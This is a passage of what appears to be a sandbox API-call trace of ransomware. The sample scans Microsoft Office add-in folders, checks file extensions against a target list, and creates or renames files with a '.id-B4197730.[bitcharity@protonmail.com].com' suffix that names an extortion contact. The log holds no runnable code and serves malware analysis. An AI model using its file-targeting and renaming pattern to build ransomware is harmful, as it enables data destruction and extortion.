Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.849] lstrlenW (lpString=".doc") returned 4 [0263.849] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0263.849] lstrlenW (lpString=".docx") returned 5 [0263.849] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0263.849] lstrlenW (lpString=".pdf") returned 4 [0263.849] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0263.849] lstrlenW (lpString=".xls") returned 4 [0263.849] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0263.849] lstrlenW (lpString=".xlsx") returned 5 [0263.849] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0263.849] lstrlenW (lpString=".ppt") returned 4 [0263.849] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.849] lstrlenW (lpString=".zip") returned 4 [0263.849] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0263.849] lstrlenW (lpString=".rar") returned 4 [0263.849] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0263.849] lstrlenW (lpString=".bz2") returned 4 [0263.849] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0263.849] lstrlenW (lpString=".7z") returned 3 [0263.849] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.849] lstrlenW (lpString=".dbf") returned 4 [0263.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0263.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.850] lstrlenW (lpString=".1cd") returned 4 [0263.850] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0263.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0263.850] lstrlenW (lpString=".jpg") returned 4 [0263.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0263.850] lstrcmpiW (lpString1=".xap", lpString2=".com") returned 1 [0263.850] lstrlenW (lpString="PowerViewRes.hu.xap") returned 19 [0263.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0264.290] GetFileSizeEx (in: hFile=0x11d0, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=331017) returned 1 [0264.290] CloseHandle (hObject=0x11d0) returned 1 [0264.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap")) returned 0x220 [0264.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0264.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11d0 [0264.291] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.291] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.292] CloseHandle (hObject=0x11d0) returned 1 [0264.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.292] lstrlenW (lpString=".doc") returned 4 [0264.292] lstrcmpiW (lpString1=".doc", lpString2=".xap") returned -1 [0264.292] lstrlenW (lpString=".docx") returned 5 [0264.292] lstrcmpiW (lpString1=".docx", lpString2="u.xap") returned -1 [0264.292] lstrlenW (lpString=".pdf") returned 4 [0264.292] lstrcmpiW (lpString1=".pdf", lpString2=".xap") returned -1 [0264.292] lstrlenW (lpString=".xls") returned 4 [0264.292] lstrcmpiW (lpString1=".xls", lpString2=".xap") returned 1 [0264.292] lstrlenW (lpString=".xlsx") returned 5 [0264.292] lstrcmpiW (lpString1=".xlsx", lpString2="u.xap") returned -1 [0264.292] lstrlenW (lpString=".ppt") returned 4 [0264.292] lstrcmpiW (lpString1=".ppt", lpString2=".xap") returned -1 [0264.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.293] lstrlenW (lpString=".zip") returned 4 [0264.293] lstrcmpiW (lpString1=".zip", lpString2=".xap") returned 1 [0264.293] lstrlenW (lpString=".rar") returned 4 [0264.293] lstrcmpiW (lpString1=".rar", lpString2=".xap") returned -1 [0264.293] lstrlenW (lpString=".bz2") returned 4 [0264.293] lstrcmpiW (lpString1=".bz2", lpString2=".xap") returned -1 [0264.293] lstrlenW (lpString=".7z") returned 3 [0264.293] lstrcmpiW (lpString1=".7z", lpString2="xap") returned -1 [0264.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.293] lstrlenW (lpString=".dbf") returned 4 [0264.293] lstrcmpiW (lpString1=".dbf", lpString2=".xap") returned -1 [0264.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.293] lstrlenW (lpString=".1cd") returned 4 [0264.293] lstrcmpiW (lpString1=".1cd", lpString2=".xap") returned -1 [0264.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.293] lstrlenW (lpString=".jpg") returned 4 [0264.293] lstrcmpiW (lpString1=".jpg", lpString2=".xap") returned -1 [0264.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.293] lstrlenW (lpString=".doc") returned 4 [0264.293] lstrcmpiW (lpString1=".doc", lpString2=".xap") returned -1 [0264.293] lstrlenW (lpString=".docx") returned 5 [0264.293] lstrcmpiW (lpString1=".docx", lpString2="u.xap") returned -1 [0264.293] lstrlenW (lpString=".pdf") returned 4 [0264.293] lstrcmpiW (lpString1=".pdf", lpString2=".xap") returned -1 [0264.294] lstrlenW (lpString=".xls") returned 4 [0264.294] lstrcmpiW (lpString1=".xls", lpString2=".xap") returned 1 [0264.294] lstrlenW (lpString=".xlsx") returned 5 [0264.294] lstrcmpiW (lpString1=".xlsx", lpString2="u.xap") returned -1 [0264.294] lstrlenW (lpString=".ppt") returned 4 [0264.294] lstrcmpiW (lpString1=".ppt", lpString2=".xap") returned -1 [0264.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.294] lstrlenW (lpString=".zip") returned 4 [0264.294] lstrcmpiW (lpString1=".zip", lpString2=".xap") returned 1 [0264.294] lstrlenW (lpString=".rar") returned 4 [0264.294] lstrcmpiW (lpString1=".rar", lpString2=".xap") returned -1 [0264.294] lstrlenW (lpString=".bz2") returned 4 [0264.294] lstrcmpiW (lpString1=".bz2", lpString2=".xap") returned -1 [0264.294] lstrlenW (lpString=".7z") returned 3 [0264.294] lstrcmpiW (lpString1=".7z", lpString2="xap") returned -1 [0264.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.294] lstrlenW (lpString=".dbf") returned 4 [0264.294] lstrcmpiW (lpString1=".dbf", lpString2=".xap") returned -1 [0264.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.294] lstrlenW (lpString=".1cd") returned 4 [0264.294] lstrcmpiW (lpString1=".1cd", lpString2=".xap") returned -1 [0264.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned 101 [0264.294] lstrlenW (lpString=".jpg") returned 4 [0264.294] lstrcmpiW (lpString1=".jpg", lpString2=".xap") returned -1 [0264.295] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0264.295] lstrlenW (lpString="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 60 [0264.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\microsoft.reportingservices.adhoc.excel.client.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1154 [0264.334] GetFileSizeEx (in: hFile=0x1154, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=77944) returned 1 [0264.334] CloseHandle (hObject=0x1154) returned 1 [0264.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\microsoft.reportingservices.adhoc.excel.client.resources.dll")) returned 0x220 [0264.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\microsoft.reportingservices.adhoc.excel.client.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0264.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\microsoft.reportingservices.adhoc.excel.client.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.340] lstrlenW (lpString=".doc") returned 4 [0264.340] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.340] lstrlenW (lpString=".docx") returned 5 [0264.340] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0264.340] lstrlenW (lpString=".pdf") returned 4 [0264.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.340] lstrlenW (lpString=".xls") returned 4 [0264.340] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.340] lstrlenW (lpString=".xlsx") returned 5 [0264.340] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0264.340] lstrlenW (lpString=".ppt") returned 4 [0264.340] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.341] lstrlenW (lpString=".zip") returned 4 [0264.341] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.341] lstrlenW (lpString=".rar") returned 4 [0264.341] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.341] lstrlenW (lpString=".bz2") returned 4 [0264.341] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.341] lstrlenW (lpString=".7z") returned 3 [0264.341] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.341] lstrlenW (lpString=".dbf") returned 4 [0264.341] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.341] lstrlenW (lpString=".1cd") returned 4 [0264.341] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.341] lstrlenW (lpString=".jpg") returned 4 [0264.341] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.341] lstrlenW (lpString=".doc") returned 4 [0264.341] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.341] lstrlenW (lpString=".docx") returned 5 [0264.341] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0264.341] lstrlenW (lpString=".pdf") returned 4 [0264.341] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.341] lstrlenW (lpString=".xls") returned 4 [0264.341] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.341] lstrlenW (lpString=".xlsx") returned 5 [0264.342] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0264.342] lstrlenW (lpString=".ppt") returned 4 [0264.342] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.342] lstrlenW (lpString=".zip") returned 4 [0264.342] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.342] lstrlenW (lpString=".rar") returned 4 [0264.342] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.342] lstrlenW (lpString=".bz2") returned 4 [0264.342] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.342] lstrlenW (lpString=".7z") returned 3 [0264.342] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.342] lstrlenW (lpString=".dbf") returned 4 [0264.342] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.342] lstrlenW (lpString=".1cd") returned 4 [0264.342] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0264.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned 142 [0264.342] lstrlenW (lpString=".jpg") returned 4 [0264.342] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0264.342] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0264.342] lstrlenW (lpString="Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 60 [0264.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\microsoft.reportingservices.adomddataextension.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1194 [0264.344] GetFileSizeEx (in: hFile=0x1194, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=18728) returned 1 [0264.344] CloseHandle (hObject=0x1194) returned 1 [0264.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\microsoft.reportingservices.adomddataextension.resources.dll")) returned 0x220 [0264.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\microsoft.reportingservices.adomddataextension.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0264.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\microsoft.reportingservices.adomddataextension.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0264.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0264.345] lstrlenW (lpString=".doc") returned 4 [0264.345] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0264.345] lstrlenW (lpString=".docx") returned 5 [0264.345] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0264.345] lstrlenW (lpString=".pdf") returned 4 [0264.345] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0264.345] lstrlenW (lpString=".xls") returned 4 [0264.345] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0264.345] lstrlenW (lpString=".xlsx") returned 5 [0264.345] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0264.345] lstrlenW (lpString=".ppt") returned 4 [0264.345] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0264.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0264.346] lstrlenW (lpString=".zip") returned 4 [0264.346] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0264.346] lstrlenW (lpString=".rar") returned 4 [0264.346] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0264.346] lstrlenW (lpString=".bz2") returned 4 [0264.346] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0264.346] lstrlenW (lpString=".7z") returned 3 [0264.346] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0264.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\Microsoft.ReportingServices.AdomdDataExtension.resources.dll") returned 142 [0264.346] lstrlenW (lpString=".dbf") returned 4 [0264.346] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0264.347] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.347] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\PowerViewRes.sk.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sk\\powerviewres.sk.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.347] CloseHandle (hObject=0x1194) returned 1 [0264.353] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.353] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\PowerViewRes.sl.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sl\\powerviewres.sl.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.353] CloseHandle (hObject=0x1194) returned 1 [0264.359] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.359] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\PowerViewRes.sr-cyrl.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-cyrl\\powerviewres.sr-cyrl.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.360] CloseHandle (hObject=0x1194) returned 1 [0264.366] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.366] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\PowerViewRes.sr-latn.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn\\powerviewres.sr-latn.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.366] CloseHandle (hObject=0x1194) returned 1 [0264.372] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.372] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn-cs\\powerviewres.sr-latn-cs.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.372] CloseHandle (hObject=0x1194) returned 1 [0265.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft 